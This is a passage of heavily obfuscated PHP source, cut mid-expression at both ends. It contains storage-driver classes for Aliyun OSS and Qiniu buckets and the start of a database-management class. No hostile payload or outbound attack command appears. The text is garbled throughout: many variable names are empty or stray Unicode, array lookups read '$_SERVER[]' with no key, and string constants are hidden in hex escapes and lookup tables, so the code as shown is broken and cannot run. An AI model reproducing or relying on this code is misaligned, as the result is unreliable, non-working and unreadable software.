1, $ק[1423] => $֬); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $ɽ); } catch (OSS\Core\OssException $ԲŮ) { return !1; } return !0; } public function moveFile($֜, $) { if ($this->copyFile($֜, $)) { $this->remove($֜); return $this->getPathOuter($); } return !1; } public function delFile($߮) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($߮)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($ń) { $Η =& $_SERVER[]; if (!$this->exist($ń)) { return !0; } $this->listItemCache = !1; $ü = $this->fileList($ń); $this->listItemCache = !0; $쀕 = trim($ń, $Η[8]) . $Η[8]; if (!empty($ń) && $ń !== $Η[198] && !in_array($쀕, $ü[$Η[82]])) { $ü[$Η[82]][] = $쀕; } $ = $this->delByBatch($ü[$Η[83]]); if (!$) { return !1; } $ = $this->delByBatch($ü[$Η[82]]); if (!$) { return !1; } return $this->delFile($쀕); } private function delByBatch($ܐ) { foreach (array_chunk($ܐ, 1000) as $ɕ) { try { $this->client->deleteObjects($this->bucket, $ɕ); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $ƀ) { return $this->renameObject($, $ƀ); } private function fileInfo($Ŋ, $ = false, $؊ = array()) { $ =& $_SERVER[]; $˥ş = array($[32] => $this->pathThis($Ŋ), $[84] => $this->getPathOuter($Ŋ), $[33] => $[200], $[76] => isset($؊[$[76]]) ? $؊[$[76]] : 0, $[174] => $this->ext($Ŋ)); if ($) { return $˥ş; } $˥ş[$[201]] = $˥ş[$[85]] = 0; $˥ş[$[202]] = $˥ş[$[203]] = !0; if (empty($؊)) { $򔫙 = $this->objectMeta($Ŋ); if (!$򔫙) { return $˥ş; } $؊ = array($[85] => strtotime($򔫙[$[1417]]), $[76] => $򔫙[$[1416]] + 0); } if (isset($؊[$[76]])) { $˥ş[$[76]] = $؊[$[76]]; } if (isset($؊[$[85]])) { $˥ş[$[85]] = $؊[$[85]]; } if (isset($؊[$[180]]) && !trim($˥ş[$[85]])) { $˥ş[$[85]] = $؊[$[180]]; } return $˥ş; } private function folderInfo($ۿ, $ө = false, $ = array()) { $館 =& $_SERVER[]; $̴֑ = array($館[32] => $this->pathThis($ۿ), $館[84] => $this->getPathOuter($館[8] . $ۿ), $館[33] => $館[75]); if ($ө) { return $̴֑; } $̴֑[$館[201]] = $̴֑[$館[85]] = 0; $̴֑[$館[202]] = $̴֑[$館[203]] = !0; if (empty($)) { $ۿ = rtrim($ۿ, $館[8]) . $館[8]; $Ѩ = $this->objectMeta($ۿ); if (!$Ѩ) { return $̴֑; } $ = array($館[201] => $Ѩ[$館[531]][$館[1424]], $館[85] => strtotime($Ѩ[$館[1417]])); } if (isset($[$館[85]])) { $̴֑[$館[85]] = $[$館[85]]; } if (isset($[$館[201]])) { $̴֑[$館[201]] = $[$館[201]]; } return $̴֑; } public function listPath($, $Ή = false) { $̕ =& $_SERVER[]; $ܾڦ = $this->fileList($, $̕[8], !0); foreach ($ܾڦ[$̕[82]] as $ => $) { $ܾڦ[$̕[82]][$] = $this->folderInfo($, $Ή, $); } foreach ($ܾڦ[$̕[83]] as $ => $) { $ܾڦ[$̕[83]][$] = $this->fileInfo($[$̕[32]], $Ή, $); } return $ܾڦ; } protected function infoChildren($ư, &$浤) { $ =& $_SERVER[]; $ = $this->fileList($ư, $[12], !0); $浤[$[78]] += count($[$[82]]); $浤[$[77]] += count($[$[83]]); foreach ($[$[83]] as $†) { if (!$† || !$†[$[76]]) { continue; } $浤[$[76]] += $†[$[76]]; } } public function has($, $˵ = false, $Ǔ = true) { $ؽ =& $_SERVER[]; $ = trim($, $ؽ[8]); $ = empty($) && $ !== $ؽ[198] ? $ؽ[12] : $ . $ؽ[8]; $ = $ؽ[12]; $ = 500; $‡ = $ம = 0; while (!0) { check_abort(); $墽 = array($ؽ[1412] => $ؽ[8], $ؽ[1413] => $, $ؽ[1414] => $, $ؽ[1415] => $); try { $ʳ֞ = $this->client->listObjects($this->bucket, $墽); } catch (OSS\Core\OssException $©) { break; } $ = $ʳ֞->getNextMarker(); $ = $ʳ֞->getObjectList(); $߀л = $ʳ֞->getPrefixList(); if ($˵) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $) { $‡ += count($) - 1; } if (!empty($߀л)) { $ம += count($߀л); } if ($ === $ؽ[12]) { break; } continue; } if ($Ǔ) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $) { return !0; } } } else { if (!empty($߀л)) { return !0; } } if ($ === $ؽ[12]) { break; } } if ($˵) { return array($ؽ[207] => $‡, $ؽ[208] => $ம); } return !1; } public function listAll($᫂) { $ͭ =& $_SERVER[]; $ƶ = $this->fileList($᫂, $ͭ[12], !0); $۷Ԭ = array_to_keyvalue($ƶ[$ͭ[83]], $ͭ[32]); foreach ($ƶ[$ͭ[82]] as $) { if (is_string($)) { $۷Ԭ[$] = array($ͭ[76] => 0); } } return $this->listAllFiles($᫂, $۷Ԭ); } public function canRead($Ϡ) { $ =& $_SERVER[]; $ = $this->pathAcl($Ϡ); return $ == $[1425] || $ == $[576] ? !0 : !1; } public function canWrite($) { $ɉ܆ = $this->pathAcl($); return $ɉ܆ == $_SERVER[][576] ? !0 : !1; } public function pathAcl($듐Ձ) { $ڛ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($듐Ձ)); } catch (OSS\Core\OssException $) { return !1; } $ = $ == $ڛ[37] ? $this->bucketAcl : $; if ($ == $ڛ[1426]) { return $ڛ[1425]; } if ($ == $ڛ[1427]) { return $ڛ[576]; } return $; } private function chmodPath($ڣ, $Ԅ͸ = '') { $ =& $_SERVER[]; $ვ = empty($Ԅ͸) ? $[1427] : $Ԅ͸; $ = array($[37], $[199], $[1426], $[1427]); if (!in_array($ვ, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($ڣ), $ვ); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getContent($Ѧ) { return $this->fileSubstr($Ѧ, -1); } public function setContent($, $ږ = '') { $ =& $_SERVER[]; try { $ߟ = $this->trafficLimit($[1428]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $ږ, $ߟ); } catch (OSS\Core\OssException $ʩ) { return !1; } $ = array($[1418] => trim($[$[1429]], $[118]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $); return isset($[$[1430]][$[260]]) ? !0 : !1; } private function updateObjMeta($Ѩ, $ѪȞ) { $Ѩ = $this->pathEncode($Ѩ); try { $ = array(OSS\OssClient::OSS_HEADERS => $ѪȞ); $this->client->copyObject($this->bucket, $Ѩ, $this->bucket, $Ѩ, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($࠽, $֒, $ߨ = false, $ؠ = REPEAT_REPLACE) { $ =& $_SERVER[]; $Ł = trim($࠽, $[8]); $ՠ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1418] => @md5_file($֒)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($࠽))); $ՠ = $this->trafficLimit($[1428], $ՠ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($Ł), $֒, $ՠ); } catch (OSS\Core\OssException $՛) { return !1; } return $this->getPathOuter($࠽); } public function getHost() { $䫗 =& $_SERVER[]; $ = explode($䫗[184], parent::getHost()); return $[0] . $䫗[184] . $this->bucket . $䫗[10] . $[1]; } public function uploadFormData($ښ, $  = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $Ģ = $ ; $П = date($[1431], time() + $Ģ); $ǘ = new DateTime($П); $ = $ǘ->format(DateTime::ISO8601); $ = strpos($, $[325]); $ = substr($, 0, $) . $[1432]; $ = 1048576000 * 5; $Ț = $this->pathFather($ښ); $Ţ = array($[243] => $, $[246] => array(array($[1433], 0, $), array($[249], $[250], $Ț))); $֦ = base64_encode(json_encode($Ţ)); $󁵑 = base64_encode(hash_hmac($[232], $֦, $this->secret, !0)); $ = array($[261] => $֦, $[1434] => $this->accessKey, $[253] => $[242], $[1435] => $󁵑, $[182] => $); $ = $this->trafficLimit($[1428], $); return $; } public function multiUploadFormData($, $ة = 3600) { $ª =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $戗 = $this->trafficLimit($ª[1428]); $땆 = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $戗); return array($ª[223] => $땆, $ª[182] => $ . $ª[8] . $this->pathEncode($), $ª[224] => gmdate($ª[1436]), $ª[94] => $); } public function multiUploadAuthData($, $ = array()) { $Dž =& $_SERVER[]; $ԗ = isset($[$Dž[224]]) ? $[$Dž[224]] : gmdate($Dž[1436]); $፣ = isset($[$Dž[174]]) ? $[$Dž[174]] : $Dž[12]; $׵ۮ = $; if (isset($[$Dž[94]])) { $׵ۮ = $[$Dž[94]]; unset($[$Dž[94]]); } if (isset($[$Dž[225]])) { $[$Dž[224]] = $ԗ; return $this->listUploadParts($׵ۮ, $); } $ȩ = array($Dž[226], $Dž[12], $Dž[120], $ԗ, "\x78\x2d\x6f\163\x73\55\144\141\164\145\x3a{$ԗ}", $Dž[8] . $this->bucket . $Dž[8] . $׵ۮ . $፣); if (strpos($፣, $Dž[227]) === 0) { $ȩ[0] = $Dž[228]; if ($ = $this->trafficLimit($Dž[1428])) { $׵ۮ = $Dž[1437]; array_splice($ȩ, 5, 0, $׵ۮ . $Dž[4] . $[$׵ۮ]); } } if (isset($[$Dž[229]]) && $[$Dž[229]] == $Dž[230]) { $ȩ[0] = $Dž[230]; } if (!empty($[$Dž[1438]])) { $ɿ = array_merge(array($ȩ[4]), $[$Dž[1438]]); sort($ɿ); $ȩ[4] = implode($Dž[231], $ɿ); } $Ғݥ = implode($Dž[231], $ȩ); $Ɯ = base64_encode(hash_hmac($Dž[232], $Ғݥ, $this->secret, !0)); $ = $Dž[1402] . $this->accessKey . $Dž[4] . $Ɯ; if (strpos($፣, $Dž[227]) === 0) { $ = array($Dž[234] => $, $Dž[224] => $ԗ); if ($) { $ = array_merge($, $); } } return $; } public function listUploadParts($Ė, $) { $ =& $_SERVER[]; $̈́ = parse_url_query($[$[174]]); $䞇 = $this->client->listParts($this->bucket, $this->pathEncode($Ė), $̈́[$[223]]); $Խ = $䞇->getListPart(); $ = array(); foreach ($Խ as $ͮ) { $[] = array($[1422] => $ͮ->getPartNumber(), $[1423] => trim($ͮ->getETag(), $[118])); } unset($[$[225]], $[$[229]]); $ = $this->multiUploadAuthData($Ė, $); if (empty($)) { return !1; } return array($[234] => $, $[224] => $[$[224]], $[236] => $); } public function download($, $҃) { if ($this->isFolder($)) { return !1; } try { $ǻ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $҃); $ǻ = $this->trafficLimit($_SERVER[][109], $ǻ); $this->client->getObject($this->bucket, $this->pathEncode($), $ǻ); } catch (OSS\Core\OssException $î) { return !1; } return $҃; } public function fileSubstr($ʏ, $ = 0, $ΰ = false) { if ($ === -1) { $晴± = array(); } else { if ($ΰ === !1) { $Ի = $this->size($ʏ); } else { $Ի = $ + $ΰ - 1; } $晴± = array(OSS\OssClient::OSS_RANGE => "{$}\x2d{$Ի}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($ʏ), $晴±); } catch (OSS\Core\OssException $) { think_exception($->getMessage()); return !1; } } private function trafficLimit($ʹ, $򒺑 = array()) { $ =& $_SERVER[]; if ($ʹ == $[1428] && $this->isUploadServer() || $ʹ == $[109] && $this->isFileOutServer()) { return $򒺑; } $ּ̜ = floatval($GLOBALS[$[6]][$[89]][$[107]][$ʹ]) * 1024 * 1024 * 8; if (!$ּ̜) { return $򒺑; } $ּ̜ = $ּ̜ < 819200 ? 819200 : ($ּ̜ > 838860800 ? 838860800 : $ּ̜); $򒺑[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ּ̜); return $򒺑; } public function link($㡎ڮ, $ = array()) { $ݨ =& $_SERVER[]; if (!$this->exist($㡎ڮ) || $this->isFolder($㡎ڮ)) { return !1; } try { $ = $this->trafficLimit($ݨ[109], $); $ԕց = $this->client->signUrl($this->bucket, $this->pathEncode($㡎ڮ), 3600 * 12, $ݨ[230], $); return $this->getCdnLink($ԕց); } catch (OSS\Core\OssException $ӈ) { return !1; } } public function fileOut($ܥ, $ = false, $ = false, $ = '') { $̫ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($ܥ, $, $, $); } if (!$) { $ = $this->pathThis($ܥ); } $ = rawurlencode($); $ = get_file_mime(get_path_ext($)); if ($ == $̫[217]) { return parent::fileOut($ܥ, $, $, $); } $ = $ ? $̫[1439] : $̫[1440]; $焋 = array(OSS\OssClient::OSS_SUB_RESOURCE => $̫[1441] . rawurlencode("{$}\73\x66\151\154\x65\x6e\x61\x6d\145\x3d{$}")); $焋[OSS\OssClient::OSS_SUB_RESOURCE] .= $̫[1442] . rawurlencode($); $ = $this->link($ܥ, $焋); $this->fileOutLink($); } public function fileOutServer($ݐ, $оՙ = false, $ = false, $Ҹ = '') { parent::fileOut($ݐ, $оՙ, $, $Ҹ); } public function fileOutImage($Ư, $Ç = 250) { if ($this->size($Ư) > 1024 * 1024 * 20) { return $this->fileOutImageServer($Ư, $Ç); } $ʂ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1443] . $Ç); $ے = $this->link($Ư, $ʂ); $this->fileOutLink($ے); } public function fileOutImageServer($ئ, $ = 250) { parent::fileOutImage($ئ, $); } public function fileOutLink($̒) { $ =& $_SERVER[]; if (!$this->isCdnHost() && substr($̒, 0, 7) == $[1364]) { $̒ = $[1365] . substr($̒, 7); } header($[161] . $̒); die; } public function hashMd5($, $ = '') { $ߪ =& $_SERVER[]; $ё = $this->_objectMeta($); if (!$ё) { return $ߪ[12]; } if (!isset($ё[$ߪ[1418]]) && !empty($)) { $ = $this->updateObjMeta($, array($ߪ[1418] => $)); $ё[$ߪ[1418]] = $ ? $ : $ߪ[12]; } return isset($ё[$ߪ[1418]]) ? strtolower($ё[$ߪ[1418]]) : $ߪ[12]; } public function size($) { $퉗 = $this->objectMeta($); return $퉗 ? $퉗[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ء) { return !$this->isFolder($ء) && $this->objectMeta($ء); } public function isFolder($) { return $this->cacheMethod($_SERVER[][165], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($ʴ) { $ =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($ʴ)); } catch (OSS\Core\OssException $겗) { $ = !1; } if ($) { $[$[76]] = intval($[$[1416]]); } return $; } protected function _isFolder($򾤚) { $ =& $_SERVER[]; if ($򾤚 == $[12] || $򾤚 == $[8]) { return !0; } $Ƚ՟ = array($[1412] => $[8], $[1413] => rtrim($򾤚, $[8]) . $[8], $[1414] => 1, $[1415] => $[12]); $뇪ԓ = $this->client->listObjects($this->bucket, $Ƚ՟); if ($뇪ԓ->getObjectList() || $뇪ԓ->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($⇉) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1444]; $this->_init($⇉); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ء => $Ӷ֣) { if (isset($this->{$ء})) { $this->{$ء} = $Ӷ֣; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1445] . LNG($[1403])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ͯц, $Ĩ = '', $ = REPEAT_RENAME) { if ($this->setContent($ͯц, $Ĩ)) { return $this->getPathOuter($ͯц); } return !1; } public function mkdir($љ, $껷 = REPEAT_SKIP) { $Њ =& $_SERVER[]; $؎ = trim($љ, $Њ[8]); if ($this->_isFolder($؎)) { return $this->getPathOuter($؎); } $љ = $؎ . $Њ[8]; $ = get_path_this($؎); $ٓ = $љ . $; if (!$this->mkfile($ٓ)) { return !1; } if (!$this->moveFile($ٓ, $љ)) { $this->delFile($ٓ); return !1; } return $this->getPathOuter($؎); } public function copyFile($ޱ, $) { $ = $this->bucketManager->copy($this->bucket, $ޱ, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function moveFile($ێɏ, $쑖) { $ = $this->bucketManager->move($this->bucket, $ێɏ, $this->bucket, $쑖, !0); return $ ? !1 : $this->getPathOuter($쑖); } public function delFile($Ի) { if (!$this->exist($Ի)) { return !0; } $鲾 = $this->bucketManager->delete($this->bucket, $Ի); return $鲾 ? !1 : !0; } public function delFolder($šž) { $ǿ =& $_SERVER[]; if (!$this->exist($šž)) { return !0; } $this->listItemCache = !1; $噒 = $this->fileList($šž); $this->listItemCache = !0; $¶ = trim($šž, $ǿ[8]) . $ǿ[8]; if (!empty($šž) && $šž !== $ǿ[198] && !in_array($¶, $噒[$ǿ[82]])) { $噒[$ǿ[82]][] = $¶; } $ = $this->delByBatch($噒[$ǿ[83]]); if (!$) { return !1; } $ = $this->delByBatch($噒[$ǿ[82]]); if (!$) { return !1; } return $this->delFile($¶); } private function delByBatch($܍ږ) { foreach (array_chunk($܍ږ, 1000) as $) { $Ϩ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($î, $Ղ) = $this->bucketManager->batch($Ϩ); if ($Ղ) { return !1; } } return !0; } public function rename($˜Ģ, $ȗ) { return $this->renameObject($˜Ģ, $ȗ); } public function fileInfo($𒔁, $ = false, $ = array()) { $ʆ =& $_SERVER[]; $ = array($ʆ[32] => $this->pathThis($𒔁), $ʆ[84] => $this->getPathOuter($ʆ[8] . $𒔁), $ʆ[33] => $ʆ[200], $ʆ[76] => isset($[$ʆ[1446]]) ? $[$ʆ[1446]] : 0, $ʆ[174] => $this->ext($𒔁)); if ($) { return $; } $[$ʆ[201]] = $[$ʆ[85]] = 0; $[$ʆ[202]] = $[$ʆ[203]] = !0; if (empty($)) { $ = $this->objectMeta($𒔁); if (!$) { return $; } } if (isset($[$ʆ[1447]])) { $[$ʆ[85]] = substr($[$ʆ[1447]] . $ʆ[12], 0, 10); } if (isset($[$ʆ[1446]])) { $[$ʆ[76]] = $[$ʆ[1446]]; } return $; } public function folderInfo($ʒ, $ܽ = false) { $ń =& $_SERVER[]; $ = array($ń[32] => $this->pathThis($ʒ), $ń[84] => $this->getPathOuter($ń[8] . $ʒ), $ń[33] => $ń[75]); if ($ܽ) { return $; } $[$ń[201]] = $[$ń[85]] = 0; $[$ń[202]] = $[$ń[203]] = !0; $ʒ = rtrim($ʒ, $ń[8]) . $ń[8]; $϶ = $this->objectMeta($ʒ); if (isset($϶[$ń[1447]])) { $[$ń[85]] = substr($϶[$ń[1447]] . $ń[12], 0, 10); } return $; } public function listPath($ϳ, $ = false) { $ӂ =& $_SERVER[]; $э = $this->fileList($ϳ, $ӂ[8], !0); foreach ($э[$ӂ[82]] as $Ļ => $) { $э[$ӂ[82]][$Ļ] = $this->folderInfo($, $); } foreach ($э[$ӂ[83]] as $Ļ => $) { $э[$ӂ[83]][$Ļ] = $this->fileInfo($[$ӂ[94]], $, $); } return $э; } public function has($㺀, $Қ = false, $ɾ = true) { $󟾩 =& $_SERVER[]; $㺀 = trim($㺀, $󟾩[8]); $ = empty($㺀) && $㺀 !== $󟾩[198] ? $󟾩[12] : $㺀 . $󟾩[8]; $ш = $󟾩[12]; $ô = 500; $Â։ = $󟾩[8]; $ړ = $ī = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $ш, $ô, $Â։); if ($) { break; } $ш = array_key_exists($󟾩[1415], $) ? $ш = $[$󟾩[1448]] : $󟾩[12]; if ($Қ) { if (!empty($[$󟾩[1449]])) { $ړ += count($[$󟾩[1449]]); } if (!empty($[$󟾩[1450]])) { $ī += count($[$󟾩[1450]]); } if ($ш === $󟾩[12]) { break; } continue; } if ($ɾ) { if (!empty($[$󟾩[1449]])) { return !0; } } else { if (!empty($[$󟾩[1450]])) { return !0; } } if ($ш === $󟾩[12]) { break; } } if ($Қ) { return array($󟾩[207] => $ړ, $󟾩[208] => $ī); } return !1; } public function listAll($Ÿ) { $ߞ =& $_SERVER[]; $ހ = $this->fileList($Ÿ, $ߞ[12], !0); $ = array_to_keyvalue($ހ[$ߞ[83]], $ߞ[32]); foreach ($ހ[$ߞ[82]] as $) { if (is_string($)) { $[$] = array($ߞ[76] => 0); } } return $this->listAllFiles($Ÿ, $); } private function fileList($, $̑ = '', $ = 0) { $ۚ =& $_SERVER[]; $ = trim($, $ۚ[8]); $Ӆ = empty($) && $ !== $ۚ[198] ? $ۚ[12] : $ . $ۚ[8]; $ = $ۚ[12]; $ = 1000; $쎿 = $ߜ = array(); while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $Ӆ, $, $, $̑); if ($) { break; } $ = array_key_exists($ۚ[1415], $) ? $ = $[$ۚ[1448]] : $ۚ[12]; $ = isset($[$ۚ[1449]]) ? $[$ۚ[1449]] : array(); $瓅 = isset($[$ۚ[1450]]) ? $[$ۚ[1450]] : array(); foreach ($ as $) { if ($[$ۚ[94]] == $Ӆ) { continue; } $ = $[$ۚ[94]]; $ = $[$ۚ[1446]]; $[$ۚ[76]] = $; $묋 = $ == 0 && substr($, strlen($) - 1, 1) == $ۚ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $묋, $); if ($묋) { $쎿[] = $; continue; } $ߜ[] = $ ? $ : $; } foreach ($瓅 as $) { if ($ == $Ӆ) { continue; } $쎿[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $ۚ[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($ۚ[82] => $쎿, $ۚ[83] => $ߜ); } public function canRead($ķ) { return $this->exist($ķ) ? !0 : !1; } public function canWrite($߳) { return $this->exist($߳) ? !0 : !1; } public function getContent($೭) { return $this->fileSubstr($೭, 0, -1); } public function setContent($œ, $ = '') { $ = $this->tempFile($this->pathThis($œ)); file_put_contents($, $); if ($this->upload($œ, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($) { $ˀ =& $_SERVER[]; $֤ = array(); if (is_array($)) { foreach ($ as $) { $֤[] = $this->link($); } } else { $֤[] = $this->link($); } $̌ = new Qiniu\Cdn\CdnManager($this->auth); list($†, $) = $̌->refreshUrls($֤); if ($) { return !1; } return $†[$ˀ[1215]] == $ˀ[785] ? !0 : !1; } public function fileSubstr($ޟ, $ȃ, $ߗ̲) { $ =& $_SERVER[]; if (!($͑ = $this->link($ޟ))) { return !1; } $ = !1; if ($ߗ̲ > 0) { $ = $ȃ + $ߗ̲ - 1; $ = array($[1451] . $ȃ . $[415] . $); } $䰝ֵ = url_request($͑, $[230], !1, $); return $䰝ֵ[$[776]] ? $䰝ֵ[$[1235]] : !1; } public function upload($, $, $đ = false, $ = REPEAT_REPLACE) { $폽 = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($)); list($״, $) = $폽->putFile($, $, $, null, $); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($굌, $ɤ = 3600) { return $this->uploadToken($굌, $ɤ); } private function uploadToken($睯, $󃻼 = 3600) { $ʪ =& $_SERVER[]; $ڐ = $󃻼; $έ = array($ʪ[1452] => $ʪ[1453]); $Đ = $睯; $ԙ = $this->auth->uploadToken($this->bucket, $Đ, $ڐ, $έ, !0); $ = empty($this->region) || $this->region == $ʪ[1454] ? $ʪ[12] : $ʪ[415] . $this->region; $ = http_type() . "\72\x2f\57\165\x70\154\157\x61\x64{$}\56\161\151\x6e\x69\165\x70\x2e\x63\157\155\x2f"; return array($ʪ[1455] => $ԙ, $ʪ[1456] => $); } public function download($, $Ƈ) { $г = IO::getPathInner(IO::mkfile($Ƈ)); if (!($ = $this->link($))) { return !1; } $ = 0; $ʮڹ = 1024 * 200; $Å = fopen($г, $_SERVER[][1457]); while (!0) { $ꬠ = $this->fileSubstr($, $, $ʮڹ); if ($ꬠ === !1) { return !1; } fwrite($Å, $ꬠ); $ += $ʮڹ; if (strlen($ꬠ) < $ʮڹ) { break; } } fclose($Å); return $Ƈ; } public function link($릠, $ = '') { if (!$this->isFile($릠)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($릠) . $; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($, $ = false, $ = false, $ͽ = '') { $ǹҺ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $ͽ); } if (!$) { $ = $this->pathThis($); } $Ά = $ ? $ǹҺ[1458] . rawurlencode($) : $ǹҺ[12]; $ = $this->link($, $Ά); $this->fileOutLink($); } public function fileOutServer($՞, $ = false, $᭟ = false, $Ǭ婸 = '') { parent::fileOut($՞, $, $᭟, $Ǭ婸); } public function fileOutImage($, $ = 250) { $ = $this->link($, $_SERVER[][1459] . $); $this->fileOutLink($); } public function fileOutImageServer($Ī, $خӃ = 250) { parent::fileOutImage($Ī, $خӃ); } public function hashMd5($͊Ԭ) { $ =& $_SERVER[]; $۲ = $this->objectMeta($͊Ԭ); return isset($۲[$[212]]) ? $۲[$[212]] : !1; $ۣ = $this->link($͊Ԭ, $[1460]); } public function size($) { $䧓 = $this->objectMeta($); return $䧓 ? $䧓[$_SERVER[][76]] : 0; } public function info($σ) { if ($this->isFolder($σ)) { return $this->folderInfo($σ); } else { if ($this->isFile($σ)) { return $this->fileInfo($σ); } } return !1; } public function exist($ǀ) { return $this->isFile($ǀ) || $this->isFolder($ǀ); } public function isFile($ީ) { return !$this->isFolder($ީ) && $this->objectMeta($ީ); } public function isFolder($̣) { return $this->cacheMethod($_SERVER[][165], $̣); } protected function objectMeta($夸) { return $this->cacheMethod($_SERVER[][167], $夸); } protected function _objectMeta($) { $ =& $_SERVER[]; list($ѿ, $) = $this->bucketManager->stat($this->bucket, $); if ($ѿ) { $ѿ[$[76]] = intval($ѿ[$[1446]]); } return $ѿ; } protected function _isFolder($) { $֣ =& $_SERVER[]; if ($ == $֣[12] || $ == $֣[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($, $֣[8]) . $֣[8], $֣[12], 1, $֣[8]); return !empty($[$֣[1449]]) || !empty($[$֣[1450]]) ? !0 : !1; } } goto d蓮; eˆ帪: class DbManage { function __construct($׸ = array()) { $ =& $_SERVER[]; if (empty($׸)) { $׸ = $GLOBALS[$[6]][$[21]]; } $this->database = $׸; } public function model($㗼 = '') { return new ModelBase($㗼, $_SERVER[][12], $this->database); } public function db($ = false) { $⤧Ȗ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $⤧Ȗ[13] || !$) { return $this->model()->db(); } $ю = $[$⤧Ȗ[1005]]; $[$⤧Ȗ[1005]] = $⤧Ȗ[12]; if ($[$⤧Ȗ[1000]] == $⤧Ȗ[997]) { $ = $[$⤧Ȗ[1006]]; $[$⤧Ȗ[1006]] = substr($, 0, strrpos($, $⤧Ȗ[1092])); } $this->database = $; $҄ = $this->model()->db(); try { $ˢ = $҄->execute("\163\150\x6f\167\x20\x64\x61\164\x61\142\x61\163\x65\x73\40\x6c\x69\x6b\x65\40\x27{$ю}\x27"); } catch (Exception $ý) { } if (!$ˢ) { $҄->execute("\x63\x72\x65\141\x74\x65\40\144\141\164\141\142\x61\x73\145\40\x60{$ю}\x60"); } $[$⤧Ȗ[1005]] = $ю; if ($[$⤧Ȗ[1000]] == $⤧Ȗ[997]) { $[$⤧Ȗ[1006]] .= $⤧Ȗ[1092] . $ю; } $this->database = $; $҄->execute("\x75\x73\145\40\x60{$ю}\140"); return $҄; } public function createTable($҄, &$ɍ) { $ػ =& $_SERVER[]; if (!IO::exist($҄)) { ActionCall($ػ[1093], !0, 0); show_json(LNG($ػ[1094]), !1); } $߂ = $this->model()->db(); $ꮀ = sqlSplit(IO::getContent($҄)); foreach ($ꮀ as $ߥ) { $ = stripos($ߥ, $ػ[1095]) === 0; if ($) { $ɍ->task[$ػ[812]] += 1; } $߂->execute($ߥ); if ($) { preg_match($ػ[1096], $ߥ, $꘿); $ɍ->task[$ػ[1097]] = $꘿[1]; $ɍ->update(1); } } } public function insertTable($ð, &$Կ) { $Ɯ =& $_SERVER[]; $ᄐ = $this->model()->db(); $ = $òĊ ? array($òĊ) : $ᄐ->getTables(); foreach ($ð as $) { $òĊ = basename($, $Ɯ[814]); if (!in_array($òĊ, $)) { continue; } $Կ->task[$Ɯ[1097]] = $òĊ; if (get_filesize($) == 0) { continue; } $㤒 = $this->sqlToDb($, $Կ); if (!$㤒) { ActionCall($Ɯ[1093], !0, 0); show_json(LNG($Ɯ[1098]) . "\133{$òĊ}\x5d", !1); } } } public function sqlFromDb($, $ز, &$, $ܣ = '') { if ($) { $->task[$_SERVER[][1097]] = $; } $̸ = $this->model($); $괍 = 0; $ = 0; $ = 10000; $ = fopen($ز, 